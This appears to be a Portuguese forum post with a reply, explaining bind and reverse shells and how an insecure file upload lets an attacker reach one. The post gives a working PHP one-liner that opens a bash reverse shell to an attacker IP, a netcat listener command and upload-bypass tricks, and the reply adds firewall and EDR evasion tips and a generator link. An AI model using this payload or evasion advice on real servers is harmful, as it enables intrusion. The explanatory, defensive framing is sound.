5

Será que sua aplicação está vulnerável a shell reverso?

Antes de tudo, para que todos fiquem nivelado, vamos a uma breve explicação do que é um shell e shell reverso.

Um shell (bind shell) é a conexão do atacante ao alvo por meio de uma porta que, por algum motivo, está aberta. Então essa conexão pode ser realizada através do netcat.

┌──────────────────────┐
│ AlvoIp: 192.168.0.10 |
| Shell escutando      │
│ Porta: 4444          │
└─────────┬────────────┘
          ▲
          │ conexão nc 192.168.0.10 4444
          │
┌─────────┴────────────┐
│ Atacante             │
└──────────────────────┘

Já o shell reverso (reverse shell), acontece quando o atacante faz o servidor se conectar a uma porta aberta na sua maquina. Daí que vem o "reverse", porque é sua aplicação que realiza a conexão.

┌──────────────────────┐
│ Atacante             |
│ ip: 192.168.0.15     |
│ aguardando:4444      │
└─────────▲────────────┘
          │
          │ conexão iniciada nc 192.168.0.15 4444
          │
┌─────────┴────────────┐
│ Alvo                 │
│ conecta ao atacante  │
└──────────────────────┘

Mas daí surge a pergunta: Como que o atacante faz o servidor se conectar com a máquina dele?

É preciso entender que para acontecer um shell reverso é necessário pré existir uma vulnerabilidade que permita essa técnica. Uma das vulnerabilidades que permite o shell reverso é o upload de arquivos inseguros (insecure file upload) e, é em cima dessa vulnerabilidade que explicarei como ocorre essa técnica.

As vulnerabilidades de upload de arquivos ocorrem quando um servidor web permite que os usuários carreguem arquivos para seu sistema de arquivos sem validar suficientemente coisas como nome, tipo, conteúdo ou até mesmo metadados. Ou seja, o sistema acaba permitindo upar um .php onde só deveria upar arquivos images.

Um atacante pode explorar essa vulnerabilidade através do nível de verificação e sanitização que você executa nos inputs de arquivos antes de salva-los no servidor. Essa exploração pode ser realizada ofuscando extensão do arquivo, modificando o Content-Type na interceptação por um proxy, burlando lista negra, alterando metadados ou até mesmo substituindo a configuração do servidor.

Tá, mas e o shell reverso? Bom para os mais ansiosos, deve ter ficado claro como o Material fecal acontece. Ao sistema permitir subir um arquivo php, seja lá como for, o atacante poderá enviar um arquivo .php simples, com o seguinte conteúdo:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.15/4444 0>&1'"); ?>
Esse arquivo executa uma tentativa de conexão a uma porta remota ao ip do atacante, após isso, é só abrir a porta 4444 para ficar escutando
nc -lvp 4444
Acessar a imagem na url disponível do sistema.
E BOOOM! Já era! Simples assim, o atacante está dentro do seu servidor. Após isso, é escalação de privilégio e só Deus sabe o que mais pode acontecer.

É importante deixar claro que essa técnica não é tão fácil de realizar. Ela também depende de outros fatores para ocorrer, como uma vulnerabilidade e permissão do servidor para execução de código. Mas, dependendo no nível do atacante, ele consegue burlar. Por isso é importante realizar a segurança de profundidade em camadas.

Carregando publicação patrocinada...
2

Um esclarecimento que acredito que seja importante:

Quando um atacante consegue explorar uma vulnerabilidade que permita a execução de código no servidor, ele abre um socket no servidor para permitir a execução de comandos na shell do sistema operacional. Essa a "shell".

O problema dessa técnica é que pode ser barrado pelo firewall, detectado por sistemas como EDR ou até mesmo levantar suspeitas para um analista, uma vez que ele note uma porta aberta no servidor que não deveria estar aberta.

É por esse motivo que, normalmente, se usa o tal do "reverse shell" que é basicamente tornar a máquina explorada no cliente e uma máquina controlada pelo atacante como servidor. Desse jeito, nenhum socket em modo listen é aberto no servidor explorado e, por isso, o tráfego não é barrado pelo firewall e dificilmente isso será detectado como comportamento suspeito por um EDR.

Como complemento, também faz sentido usar portas comuns como 22, 80 ou 443 para o tráfego de rede ter maiores chances de passar despercebido, sendo confundido com tráfego comum no servidor.

Dica de ferramenta: https://www.revshells.com/

0